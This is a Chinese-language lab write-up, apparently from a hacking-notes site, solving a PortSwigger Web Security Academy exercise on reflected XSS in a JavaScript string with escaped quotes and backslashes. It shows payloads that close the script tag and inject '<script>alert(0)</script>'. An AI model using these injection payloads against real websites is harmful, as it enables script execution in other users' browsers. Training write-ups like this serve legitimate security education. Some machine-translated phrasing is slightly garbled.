> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md).

# JavaScript 字符串中的 XSS，单引号和反斜杠已转义

JavaScript 字符串中的 XSS，单引号和反斜杠已转义笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和 remediati

### 通过转义单引号和反斜杠将反射型 XSS 注入到 JavaScript 字符串中

搜索词追踪功能中的反射型 XSS。反射的值被插入到一个 JavaScript 字符串中；普通单引号和反斜杠已被转义，使得逃逸变得困难。

目标

* 跳出已转义的 JavaScript 字符串并调用 `alert()`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b20849c7386445f502bcda99a59c69db13fefbc1%2F%7BB4BF6BF3-E865-4CA6-93C3-77F303A56C58%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

当前观察

* 如果 `测试` 发送后，该值会存储在 `searchTerm` 脚本的变量中。
* 尝试引入一个新变量：/ `testing'; var=test='thisIsATest`/ → 观察到引号和反斜杠（）被注入/存在，并阻止直接注入。

```bash
testing'; var=test='thisIsATest
```

* 只需插入脚本闭合标签即可关闭脚本上下文： `</script>`

```javascript
</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8178c1763e714af16e1c99e1f1e64532d3c7287f%2F%7B4896DDCD-7438-4CDB-8BCD-A2182B9B0377%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 关闭后，可以渲染简单的 HTML 文本： `</script><h1>HACK</h1>`

```javascript
</script><h1>HACK</h1>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01e8b24c7ccb11208295c9e8aef660a44a4ce3e2%2F%7B48AD1C5D-80B0-4D32-97C0-65A58F29B55B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 最后，还可以运行一个 `alert` 通过添加一个新的 `<script>` 在关闭后： `</script><script>alert(0)</script>`

```javascript
</script><script>alert(0)</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e61bc34ce9d843b0e2a120f26623d2a3c09900d8%2F%7BC137BE47-B233-47C6-9F68-398E189107DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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